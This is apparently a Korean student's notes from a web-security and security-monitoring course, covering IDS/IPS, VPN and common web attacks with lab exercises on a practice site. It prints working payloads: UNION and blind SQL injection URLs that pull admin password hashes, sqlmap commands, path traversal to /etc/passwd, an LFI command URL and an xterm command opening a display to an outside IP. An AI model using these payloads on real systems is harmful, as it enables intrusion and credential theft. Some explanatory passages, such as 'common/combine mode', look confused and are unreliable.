320x100

IDS ⇒ sniffing mode 로 쓴다.

IPS ⇒ InLine mode

IPS(Intrusion Prevention System)

다양한 방법의 보안기술을 이용하여 침입이 일어나기 전에 실시간으로 침입을 막고, 유해 트래픽을 차단하기 위한 능동형 보안 솔루션 IPS는 예방적이고 사전에 조치를 취하는 기술이며, 반면에 IDS 는 탐지적이고 사후에 조치를 취하는 기술이다. 또한 IPS는 기존의 트래픽 유통에 직접 관여하며이러한 방식을 InLine 방식

  • Signature Based IPS (지식기반)
  • 각각 공격에 대하여 정확한 Signature를 정의, 해당 공격 패턴에 매칭이 되어야만 차단 시행
  • 알려지지 않은 공격의 경우 정확한 Signature List가 업데이트 되어 있지 않으면 차단이 불가능한 단점이 있으나, 오탐 가능성은 적다.
  • Heuristics Based IPS (행위기반)
  • Anomaly Detection / Prevention 방식이라고도 한다.
  • 알려지지 않는 공격을 수집하여 정보를 이용하여 오탐을 줄이고 능동적으로 대처하는 방식

ZPS(Zero Trust Protection System)

제로 트러스트 보안 모델을 기반으로 하며, 네트워크 내의 모든 사용자와 기기를 신뢰하지 않고 기본적으로 의심하는 접근 방식을 취합니다.사용자 인증과 권한 검증을 강화하여, 내부와 외부의 위협 모두에 대응할 수 있도록 설계되었습니다.

SVA(Security Vulnerability Assessment)

보안 취약점 평가를 의미하며, 시스템이나 네트워크에서 잠재적인 취약점을 식별하고 분석하는 과정입니다.이를 통해 보안 위험을 사전에 발견하고, 적절한 대응 방안을 마련할 수 있습니다.

  • SVA는 보안 취약점을 평가하고 시스템의 보안 상태를 분석하는 과정

IPsec VPN (Internet Protocol Security Virtual Private Network) - (VPN은 터널링이라고 하는데 암호화 시켜서 데이터를 전송함)

인터넷을 통해 안전한 데이터 전송을 제공하는 기술입니다. IPsec은 IP(Internet Protocol) 패킷의 보안을 강화하기 위해 사용되는 프로토콜 모음

암호화: 전송되는 데이터를 암호화하여 외부에서 접근할 수 없도록 보호합니다. 이를 통해 기밀성을 유지할 수 있습니다.

인증: 데이터의 출처를 확인하고, 데이터가 전송 중에 변경되지 않았음을 보장합니다. 이를 통해 무결성을 유지할 수 있습니다.

  • 터널 모드: 전체 IP 패킷을 암호화하여 새로운 패킷으로 캡슐화합니다. 주로 VPN 게이트웨이 간의 연결에 사용됩니다.
  • 트랜스포트 모드: 패킷의 페이로드만 암호화하며, 헤더는 그대로 유지합니다. 주로 호스트 간의 통신에 사용됩니다.

IPsec VPN은 높은 보안성을 제공하여 기업의 데이터 통신을 안전하게 보호하는 데 중요한 역할을 합니다.

IDS/IPS 정책

  • 탐지 정책(Signature)이 등록되어 있는 경우에만 탐지하고, 그 이외의 패킷은 무시
  • 오탐율이 매우 높으므로 최적화 시키기 위해서 충분한 시간동안 커스터마이징이 필요
  • RawData 정책을 어떻게 사용하느냐가 승패를 좌우

웹 방화벽 이해

443 포트 들어올 수 있으니까 SVA 들어가야하고

다른 외부 기관까지 가야한다면 VPN 장비도 넣어야함

  • 인터넷을 통한 웹 기반 서비스가 발전하면서 항상 개방되어 있는 웹을 이용한 공격이 일반화, 집중화 되고 있는 상황에서 단순한 홈페이지 변조사고부터 웹 서버를 통한 악성코드 유표까지 사고가 발생하고 있다. 이와 같은 이유로 웹 전용 보안시스템 구축이 필요하게 되었으며, 그 시스템이 웹 방화벽이다.

이벤트 대응 및 분석

이벤트 대응처리 프로세스

  1. 보안장비 로그 수집
  2. 이벤트 탐지 : 공격 발생 시 경보 발생 및 관제 인원에게 Mail을 발송하여 탐지 할 수 있다.
  3. 이벤트 1차 분석
  4. 공격자 IP 차단 및 이벤트 탐지 보고서 작성
  5. 담당자 통보
  6. 침해사고 조치지원(CERT)

OSI 7 Layer별 이벤트 유형

FTP PASV

FTP PASV(패시브 모드)는 파일 전송 프로토콜(FTP)에서 클라이언트와 서버 간의 연결을 설정하는 방식 중 하나입니다. FTP는 두 가지 모드(액티브 모드와 패시브 모드)를 지원하는데, PASV 모드는 다음과 같은 방식으로 작동합니다:

PASV 모드의 작동 방식

클라이언트 연결: 클라이언트가 FTP 서버에 연결을 요청합니다.서버 응답: 서버는 클라이언트에게 패시브 모드로 전환할 것을 알리며, 사용할 포트 번호를 제공합니다.클라이언트 연결: 클라이언트는 서버가 제공한 포트 번호로 새로운 연결을 수립합니다.데이터 전송: 이 새로운 연결을 통해 파일 데이터가 전송됩니다.

PASV 모드의 장점

방화벽 우회: PASV 모드는 클라이언트가 서버에 연결을 요청하고, 서버가 클라이언트의 요청에 따라 데이터 전송을 위한 포트를 열기 때문에 방화벽을 우회하는 데 유리합니다.클라이언트의 IP 주소 노출 감소: 클라이언트가 서버에 연결을 요청하는 방식이므로, 클라이언트의 IP 주소가 서버에 직접적으로 노출되지 않습니다.

PASV 모드는 특히 클라이언트가 NAT(네트워크 주소 변환) 뒤에 있을 때 유용하게 사용됩니다.

 

 

(시험)주요 공격 이벤트 및 영향

SQL Injection

  • 웹 클라이언트의 반환 메시지를 이용하여 불법 인증 및 정보를 유출하는 공격 방법으로 웹 응용 프로그램이나 파라미터 값에 강제로 SQL 질의문을 삽입하여 응답값을 통해 내부 데이터베이스(DB) 서버의 데이터를 유출 및 변조하고 관리자 인증을 우회하는 공격기법
  • 웹 서버로 전달된 SQL 질의문은 데이터베이스(DB) 정보가 일치할 경우 질의문에 해당하는 ‘True’ 값을 반환하고 일치하지 않을 경우 ‘False’ 값을 반환, 이때 에러메시지를 통해 2차 공격을 시도할 수 있다.

공격 영향

  • 인증절차 우회 기능
  • 데이터베이스(DB)에 저장된 데이터 값을 열람/삭제/수정 가능
  • 시스템 명령어 조작으로 운영 시스템에 영향

Webshell 공격

  • 웹페이지인 웹(Web)과 서버에 명령을 내려 실행하기 위한 인터페이스 역할의 쉘(Shell)의 합성어로써 웹 페이지에서 서버에게 명령을 실행하기 위해 만들어진 프로그램
  • 웹 서버(PHP, ASP, JSP 등)의 다양한 취약점 등을 타깃으로 공격하여 웹 서버에 Webshell을 업로드 한 후 웹 브라우저를 통해 업로드한 Webshell을 실행하여 침투한 서버상의 정보유출 및 변조, 악성코드 유포 등 웹 공격에 활용됨
  • 대표적인 공격형태로 확장자 우회공격, 자바스크립트 우회공격, MIMI Type 우회, 그림파일을 이용한 한 줄 웹쉘 등이 있다.

공격 영향

  • 관리자 권한 탈취 및 내부망 접근하여 내부 자료 및 개인정보 유출 가능
  • 웜 / 바이러스 배포서버로 악용

대응 방안

  • 확장자 제어: 허용된 확장자 외에는 업로드 금지, 정의된 확장자 차단
  • Directory List 취약점 제거 : 서버 내 파일 / 폴더 등을 확인하여 소스코드, 웹 페이지 구조가 노출 되는 것을 사전 제거

Command/Code Injection(Execution)

  • 시스템 명령어를 호출하는 어플리케이션의 인자 값을 조작하여 의도하지 않은 시스템 명령어를 실행시키는 공격 기법
  • 주로 취약한 함수를 사용하거나 변수 입력 값 미 검증으로 인해 발생되며 과거에 발생된 Bash Shell Shock가 대표적이다.

공격 영향

  • 해당 공격이 유효성이 있을 경우, 웹 어플리케이션을 구동하고 있는 시스템 계정의 Shell 권한(관리자 권한 등) 을 획득하는 것과 같음

대응 방안

  • 지정되어 있는 변수 입력 값 외에 다른 값들이 들어왔을 경우 차단
  • 운영체제의 시스템 명령어가 사용자 입력에 의해 존재하는지 확인하고 불필요한 요청 시 차단
  • 확인되지 않은 사용자 입력을 파이프라인, open() 명령 등으로 전달하지 않음

XSS(Cross Site Scripting)

  • 컨텐츠를 암호화/검증하는 절차 없이 사용자가 제공하는 데이터를 어플리에킹션에서 받아들이거나 웹 브라우저로 보낼 때 발생되는 공격
  • JavaScript, VBScript 등과 같이 CSS(Client Side Script) 특징을 가진 언어로 작성된 악성 스크립트를 웹 페이지/게시판/메일 등에 포함시켜 사용자에게 전달하고 이를 사용자가 열람하였을 때 악성 스크립트가 실행됨

공격 영향

  • 악성 스크립트가 삽입된 게시판에 접근한 사용자를 대상으로 웜/바이러스 배포
  • 사용자의 세션 정보를 탈취하여 재사용 가능(사용자가 관리자일 경우 관리자 계정 탈취 기능)

대응 방안

  • 쿠키 값에 인증/권한 등의 중요 정보가 기록되지 않게 하거나 쿠키 인증 방식이 아닌 세션 인증 방식으로 변경
  • 스크립트 코드에 사용되는 특수문자에 대한 적절한 필터링
  • 사용자가 게시판에 사용할 수 있는 HTML 포맷만을 허용

 

 

공격 이벤트 분석 방법

GET / POST 이벤트

GET

  • URL에 Query String 형식으로 전달

POST

  • BODY 에 포함해서 전송하는 방식

POST 방식 이벤트 분석

  • 주의할 사항 : 확인하려는 파라미터 값이 서버나 데이터베이스(DB)에 영향을 주려는 값이라면 테스트 보다는 담당자에게 통보를 하는 것이 나을 수 있음 - > 문제가 될 수 있다.

IBM AI 솔루션

IBM의 AI 솔루션은 다양한 산업과 용도에 맞춰 설계된 여러 제품과 서비스를 포함합니다. 주요 IBM AI 솔루션은 다음과 같습니다:

IBM Watson:IBM의 대표적인 AI 플랫폼으로, 자연어 처리(NLP), 머신러닝, 데이터 분석 등의 기능을 제공합니다.다양한 산업에 적용할 수 있는 API와 툴을 제공하여, 고객 맞춤형 AI 솔루션을 개발할 수 있게 합니다.

MSSQL 포트 1433


통합보안관제시스템의 이해

Web Servers

  • common mode
  • combine mode

웹 서버의 common mode와 combine mode는 웹 서버의 요청 처리 방식과 관련된 용어로 보입니다. 이 두 가지 모드의 차이를 간단히 설명하겠습니다.

Common Mode

정의: 일반적으로 사용되는 기본적인 요청 처리 방식입니다.특징: 클라이언트의 요청을 순차적으로 처리하며, 각 요청이 독립적으로 처리됩니다.장점: 구현이 간단하고, 상태 관리가 용이합니다.단점: 동시에 여러 요청을 처리하는 데 한계가 있어, 고부하 상황에서는 성능 저하가 발생할 수 있습니다.

Combine Mode

정의: 여러 요청을 결합하여 처리하는 방식입니다.특징: 여러 클라이언트의 요청을 하나의 처리 단위로 묶어서 효율적으로 처리합니다.장점: 서버 자원을 보다 효율적으로 사용할 수 있으며, 성능 향상에 기여합니다.단점: 구현이 복잡할 수 있으며, 상태 관리와 오류 처리에 더 많은 주의가 필요합니다.

이러한 모드는 서버의 목적과 요구 사항에 따라 선택될 수 있으며, 성능과 효율성을 고려하여 적절한 모드를 선택하는 것이 중요

300x250
320x100

Cross Site Script Process

 


SQL INJECTION - server side attack

공격자가 입력한 데이터에 대한 유효성을 점검하지 않아 DB 쿼리문이 변경 되어 부적절한 SQL 명령을 수행할 수 있는 공격이다

-> 데이터베이스의 내용을 웹상으로 쭉 유출시키는 공격기법

-> 커멘드명령, DB 내용, 서버 컨트롤 장악 하는 공격

 

** XSS 는 클라이언트쪽 사용자 권한을 획득하는 사용자의 패스워드, 정보를 바꾸는 형태이다.

 

SQL INJECTION 종류

  • Union (옛날 공격기법) - 실습예정
  • Error Based (옛날 공격기법)
  • Blind SQL (최근 가장 많이 발생하는 취약점) - 실습예정
  • Stored Procedure based

SQL 인젝션 취약점이 존재할 경우, 공격자는 xp_cmdshell과 같은 확장 프로시저를 통해 서버의 운영 체제에 대한 불법적인 접근을 시도할 수 있다.

 

공격 유형 : DB 정보 열람, DB 정보 변경/삭제, 커맨드 명령 실행, 파일 생성 및 실행

 

SQL대표적인 커맨드 : select, update, delete, insert

 

  • Union

'or''=’  (조건을 항상 참으로 만든다.)

아이디 / 비밀번호에 동일하게 입력한다.

실행결과

Check for vulnerability



Check for UNION function (no값이 유효하지 않아야 원하는 값 출력)

http://freehack.bug/?main=/board/board_view.php3&no=0' union select 1,2,3,4,5,6,7%23

프로그램에서 1 5 7은 출력은 하라는 소스가 스크립트에 없기 떄문에 출력이 되지 않는다.

 

 

 


Check for MySQL version

http://freehack.bug/?main=/board/board_view.php3&no=0' union select 1,2,3,@@version,5,6,7%23

 


공격 프로세스

information schema에서 table name 뽑아옴 → 실제 member table의 아이디, 패스워드를 뽑음

 

http://freehack.bug/?main=/board/board_view.php3&no=0' union all select 1,2,3, column_name,5,6,7 from information_schema.columns where table_name='member' limit 0,1%23 <--- no

http://freehack.bug/?main=/board/board_view.php3&no=0' union all select 1,2,3, column_name,5,6,7 from information_schema.columns where table_name='member' limit 1,1%23 <--- id

http://freehack.bug/?main=/board/board_view.php3&no=0' UNION SELECT 1,2,3,column_name,5,6,7 from information_schema.columns where table_name='member' limit 2,1%23 <--- pass

http://freehack.bug/?main=/board/board_view.php3&no=0' UNION SELECT 1,2,id,pass,5,6,7 from member limit 0,1%23 <-- admin,

*A4B6157319038724E3560894F7F932C8886EBFCF

http://freehack.bug/?main=/board/board_view.php3&no=0' UNION SELECT 1,2,id,pass,5,6,7 from member limit 1,1%23<-- guest,

  • A4B6157319038724E3560894F7F932C8886EBFCF


  • Blind SQL

데이터베이스 결과가 외부에 출력되지 않고(ex> 로그인 서비스), 서버 내부적으로만 처리되는 구조에서 SQL Injection 기법을 통해 데이터베이스에 존재하는 값을 알아내는 공격 방식이다.

 

일반적으로 참/거짓을 이용하여 데이터를 얻어온다.

ex> 로그인 성공 -> 참, 로그인 실패 -> 거짓

 

  • Union INJECTION → 덩어리채 뽑음

 

  • Blind INJECTION → 글자 하나씩 대조

예를 들어 s라는글자를 뽑아오고 → i 뽑고 .. → g 뽑고

(a부터 쭉 집어넣고 한글자씩 대조를 해서 요청을 한다.

 

** Union select보다 훨씬 서버쪽으로 요청하는 쿼리의 양이 많아질수 밖에 없다.

 

 

 

 

노가다로 한단어씩 추출한다. 단어가 맞을 경우 통과되고 아닐경우 에러메시지가 올라온다.

아래와 같이 ID에 SQL query / PASSWORD 1234 또는 아무거나 입력하고 로그인을 시도

 

// Database 이름 크기 추출
id : kioo' and length(DATABASE()) < 12##  (T)
id : kioo' and length(DATABASE()) = 10##  (F)
id : kioo' and length(DATABASE()) = 8##  (freehack, T)
id : kioo' and length(DATABASE()) < 7##  (F)


// Database 이름 추출
id : kioo' and ASCII(SUBSTRING((DATABASE()),1,1)) < 102##  (F)
id : kioo' and ASCII(SUBSTRING((DATABASE()),1,1)) = 102##    -> f
id : kioo' and ASCII(SUBSTRING((DATABASE()),2,1)) = 114##    ->r
id : kioo' and ASCII(SUBSTRING((DATABASE()),3,1)) = 101##    -> e

// Table 이름 추출
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 0,1),1,1)) < 130##
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 0,1),1,1)) = 98##  -> b
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 0,1),2,1)) = 111## -> o
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 0,1),3,1)) = 97## -> a

kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 1,1),1,1)) = 109##  -> m
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 1,1),2,1)) = 101## -> e

 


// 컬럼명 추출
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 0,1),1,1)) < 130##
test' or ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 0,1),1,1)) < 130##


kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 0,1),1,1)) = 110## ->n
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 0,1),2,1)) = 111## ->o


kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 1,1),1,1)) = 105## ->i
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 1,1),2,1)) = 100## -> d

kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 2,1),1,1)) = 112## ->p
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 2,1),2,1)) = 97## -> a
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 2,1),3,1)) = 115## -> s
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 2,1),4,1)) = 115## ->s

// 패스워드 추출(1) *4ACFE3202A5FF5CF467898FC58AAB1D615029441

kioo' and ASCII(SUBSTRING((select pass from member limit 0,1),1,1)) < 130##
kioo' and ASCII(SUBSTRING((select pass from member limit 0,1),1,1)) = 42## ->*
kioo' and ASCII(SUBSTRING((select pass from member limit 0,1),2,1)) = 52## -> 4

// 패스워드 추출(2)
id : kioo' and (ASCII(substring(pass,1,1))=42) ##            ->----------- 42 는 * 임
pw : 아무거나  
* C8D060EB2D0AEFC164BE22E2F8A52C0E99AF19A9

id : kioo' and (ASCII(substring(pass,2,1))=67) ##            ->---------- 67 는 C 임
pw : 아무거나

id : admin' and (ASCII(substring(pass,1,1))=42)## ->----------- 42 는 * 임
pw : 아무거나
*A4B6157319038724E3560894F7F932C8886EBFCF


폰트 스캐너 (사용 주의)

"폰트 스캐너"라는 용어는 일반적으로 웹사이트나 애플리케이션에서 사용되는 폰트를 분석하고 식별하는 도구나 기술을 의미할 수 있습니다. 폰트 스캐너는 웹페이지에서 사용된 폰트의 종류와 스타일을 추출하여 이를 보여주는 기능을 가집니다.

 

nmap -v -A freehack.bug

 


SQL MAP

https://sqlmap.org/ 접속후 오른쪽에 다운로드 zip파일 다운

https://github.com/sqlmapproject/sqlmap/zipball/master

sqlmap.py --shell

u "http://freehack.bug/?main=/board/board_view.php3&no=232" --dbs

u "http://freehack.bug/?main=/board/board_view.php3&no=232" -D freehack --tables -u "http://freehack.bug/?main=/board/board_view.php3&no=232" -D freehack -T member --columns

u "http://freehack.bug/?main=/board/board_view.php3&no=232"


XPATH INJECTION

조작된 XPath(XML Path Language) 쿼리를 보냄으로써 비정상적인 데이터를 쿼리해 올 수 있는 취약점으로, XML 문서에 데이터를 저장하는 웹사이트는 사용자가 입력한 내용의 데이터를 찾기 위해 XPath를 사용 하고, 이런 입력이 필터링이나 보안을 고려하지 않은 채 XPath 쿼리 안에 입력된다면 웹사이트의 로직을 손상시키거나 특정 데이터를 추출할 수 있게 된다.

 

-> XPath 인젝션은 사용자가 입력한 데이터가 제대로 검증되지 않을 때 발생하는 취약점으로, 이로 인해 공격자는 웹사이트의 데이터를 유출하거나 조작할 수 있게 됩니다.

 

http://freehack.bug/XML/

대응 방안

-> 입력 값 검증 필요

-> XPATH parameterized 사용

 


Command INJECTION

-> 프로그램이 외부에서 입력 받은 시스템 명령어를 검증하지 않고 실행하는 경우 의도하지 않은 시스템 명령어가 실행될 수 있는 취약점이다.

  • 공격 유형 -> 부적절한 권한 변경 ->시스템 권한 획득 -> 시스템 동작/운영에 악영향

개발자가 리눅스나 관련 명령어 프로그램을 짜는데 웹상에서 커멘드를 쉽게 찾을 수 있게 해논 것

 

리버스 텔넷 / SS터널링 / DNS 터널링

  • 리버스텔넷

리버스 텔넷(Reverse Telnet)은 일반적으로 원격 장치와의 통신을 위해 사용하는 텔넷(Telnet) 프로토콜의 변형입니다. 이 기술은 특정 장치에 대한 원격 접근을 가능하게 하며, 주로 네트워크 장비나 IoT(사물인터넷) 디바이스에서 사용됩니다.

아래 사진에 넣기

ls ; xterm -display 192.168.1.40:1.0 &

  • 정상적으로 텔넷 거는게 아니라 서버쪽에서 클라이언트 피씨 쪽으로 텔넷을 건다

 가급적 시스템 명령어 사용 금지  외부에서 전달되는 데이터와 조합 금지  필터링을 통한 다중 명령 실행 금지

 


파라미터 조작

  • 웹 어플리케이션 상에 존재하는 모든 실행경로에 대해서 접근제어를 검사하지 않거나 미흡한 경우 공격자가 접근 가능한 실행경로를 통해 사용자의 정보를 유출 하거나 일시적인 권한 상승이 가능한 취약점.
  • URL/파라미터 변조의 경우 불충분한 인증 및 인가 취약점과 유사하지만 프로세스 검증을 우회하는 것 이외에 사용자 입력 값에 대한 검증 누락이 발생하는 모든 상황을 포함하고 있으므로 SQL 인젝션, 불충분한 인증 및 인가, 크로스 사이트 스크립트 (XSS) 공격에 활용될 수 있음

네이버 카페 같은 곳에서 운영자가 이 Query를 통해 게시글을 최상단(공지)으로 고정 시킬 지 정한다 → 취약점 발생 -> web proxy tool을 통한 쿼리를 조작해서 내 마음대로 최상단에 내 게시글을 고정할 수 있음

 

http://freehack.bug/member/member_modify2.html?id=test

http://freehack.bug/member/member_modify2.html?id=admin

 

인증권한 체크 부실로 발생함

관리자권한으로 바꿀 수 있음

웹 어플리케이션에서 제공하는 정보와 기능을 역할에 따라 배분함으로써 사용자가 변경할 수 있는 데이터의 노출을 최소화하는 것이 필요하며, 서버로 전송된 사용자 입력 값의 경우 세션 및 데이터베이스와 비교를 하여 데이터가 변조되었는지 검증할 수 있는 과정을 구현해야 함

세션을 가지고 인증체크를 하라는 말


IT정보보호 구축 가이드 - sk 쉴더스 발행 3.0 나옴


FILE UPLOAD

파일이 첨부되서 올라오는지를 잘 확인해야함 - 공격자는 웹 쉘을 업로드해서 모든 정보를 열람 가능하게 만들 수 있다.

  • 취약점 설명 

-> 파일 업로드 취약점이랑 서버에 파일이 업로드 되는 기능을 이용하여, 업로드 된 파일을 웹 서버에 요청할 때, 웹 서버가 Server Side Script로 해석하여 생기는 취약점

-> 웹 사이트의 파일 업로드 기능을 이용하여 인가 받지 않은 파일을 서버 에 업로드 하는 공격 

 

  • 공격 유형

1. WebShell 업로드 

2. DOS(Disk Full)

3. 시스템 권한 획득

 

 

이 표는 APM 스택을 포함한 웹 서버, 데이터베이스, 서버 사이드 스크립트 및 파일 확장자를 간단히 정리한 것입니다. 각 웹 서버와 그에 대응하는 데이터베이스 및 스크립트 언어의 조합을 보여줍니다.

 

 

  • 악성파일 업로드

공격 시나리오 : 웹쉘 형태의 파일을 업로드 후 실행하면 서버의 자원을 장악할 수 있음

파일 업로드 공격은 1.파일이 업로드 되어야 하고 2.업로드 경로를 알 수 있어야 하고, 3.실행 권한이 있어 실행시킬 수 있어야 함


 

웹사이트 게시글 작성 할때 php 파일을 업로드 하지 못하게 막아놨다. -> 코드를 통해 확장자 파일이 . 으로 구분이 된다는 것을 알았다

그래서 앞에 .jpg 를 사용함으로써 코드의 헛점을 노려 우회할 수 있다.

 

 

 

아래의 사진은 유명한 C99Shell(웹쉘)화면

 

 


FILE DOWNLOAD

파일 다운로드 취약점이란 서버에 업로드 된 파일을 다운로드 받을 수 있게 만들어진 서비스를 이용하여, 정해진 파일이 아닌 다른(시스템 파 일, 소스 코드 등)파일을 다운로드 받을 수 있는 취약점이다.

다른파일은 시스템파일(etc의 패스워드 파일, hosts 파일 같이 없어서는 안되는 파일들) 이나 소스 코드가 될 수 있다.

개발자가 의도하지않게 다른 파일을 의도하는 것

 

**커멘드 인젝션- 개발자가 의도하지않게 다른 파일도 같이 수행하는 것

 

기존 URL

http://freehack.bug/board/board_down.php3?file_name=c99.php

 

공격 실행

URL에 아래와 같이 작성하면 루프가 돌면서 etc/passwd 파일을 받을 수 있음

http://freehack.bug/board/board_down.php3?file_name=/../../../../../../etc/passwd 


 

./ 를 강제로 지우는 아래와 같은 코드가 있으면 

-> ..// 이런식으로 두번 적으면 ./ 가 지워져도 ./ 한묶음이 남기 때문에 우회할 수 있다.

 

공격 유형

  • 소스 코드 유출 - 어느정도 경로를 알아야지 할 수 있음
  • 중요 파일 유출
  • 데이터베이스 정보 유출 - 디비 연결정보 파일
  • DownLoad 취약점
  • 저장된 경로 찾기(이미지/에러베이스 등)
  • 필터링 우회 • 대응 방앆
  • 필터링을 통한 차단
  • 직접 링크보다는 간접링크 사용 • 갂접 링크를 통한 필터링 및 접근 제어(악성코드/FlashGet 등)

 

개발자가 의도하지 않는 행위를 할 수 있는 것


INCLUSION ATTACK

페이지를 렌더링 할 때 웹 페이지에 동적으로 포함되는 INCLUDE 파일 을 사용하면 한 콘텐츠를 사이트의 여러 페이지에 쉽게 포함시킬 수 있는 기능을 악용하여 사용할 수 있는 취약점이다.

 

->INCLUDE 파일은 웹 페이지에서 공통 콘텐츠를 쉽게 재사용할 수 있도록 도와주지만, 잘못 사용하면 보안 취약점이 생길 수 있습니다. 공격자가 악의적인 코드를 포함한 파일을 서버에 업로드하고 이를 INCLUDE하면, 사용자에게 악성코드가 실행될 수 있습니다. 따라서 INCLUDE 파일 사용 시 보안에 주의해야 합니다.

 

Include/require/require_ once/include_ once

  • RFI - Remote File inclusion

외부에 존재하는 컨텐츠를 동적 로드 가능

allow_url_fopen 허용 시 동작

http/ftp 등 다양한 프로토콜 지원

외부 서비스(블로그, 카페, 자료실 등)를 통한 공격 가능

원격에 있는 파일을 사용해서 명령을 수행

  • LFI - Local File inclusion → 로컬에 있는 파일을 인크루드 시켜서 발생하는 취약점

내부에 존재하는 컨텐츠를 동적으로 로드 가능.

  • Log 파일, 홖경 변수, 자료실 등 이용.

http://freehack.bug/?main=/data/cmd.txt&cmd=id

 

인클루드 함수를 잘못써서 외부나 내부에 있는 함수를 잘못 인클루드해서 프로그램이 실행되는 것


기타 웹공격 기법

관리자페이지 노출

  • 아래와 같이 추측하기 쉬운 관리자 페이지는 가급적 피하도록 한다. 이런식으로 관리자 페이지 접속하고 → SQL INJECTION

http://admin.victim.comhttp//www.victim.com/admin

http://www.victim.com/manager/http://www.victim.com/master/http://www.victim.com/system

 

사용자 인증 부재 취약점

http://freehack.bug/admin/member/**member_list..php3**

유추할 수 있는 이름으로 지정하면 찍어서 맞출 수 있다.


이용자 인증정보 재사용

▪ 개요 : 세션 값을 훔쳐 타 사용자 이용 환경에서 사용 시 훔친 세션 값의 인증 및 권한을 그대로 가지고 있는 취약점/공격

▪ 예상 가능 공격 : 타 사용자 권한 탈취 후 서비스에 따른 공격 예) 금융 앱에서 피해자의 계좌에서 공격자의 계좌로 송금

▪ 취약점 확인 방법 : 세션값을 복사 후 타 PC 에서 사용해보고 복수의 위치에 서 세션값이 사용 가능한지 확인

▪ 보안 방법 ➢ 처음 세션 발급 시 IP정보를 세션 변수에 담아 두었다가 이 후 동일한 세션값을 가지는 클라이언트가 접속 시에 비교함 ➢ 금융기관에서는 내부망 IP 정보도 세션을 나누어 분배하므로 클라이언트/서버 프로그램을 설치하여 MAC주소 비교하여 세션 재 사용 취약점에 대응함 ➢ 중복 로그인을 차단

  • 유추가능한 인증정보 이용(세션), 불충분한 세션종료 처리 말로 설명 • 고정된 인증정보 재사용


TEST 준비

 

1번 GET POST 메소드

 

2번 응답값 200ok 

 

3번 File download 취약점 

 

4번 CSRF  SSRF

 

5 ???

300x250

+ Recent posts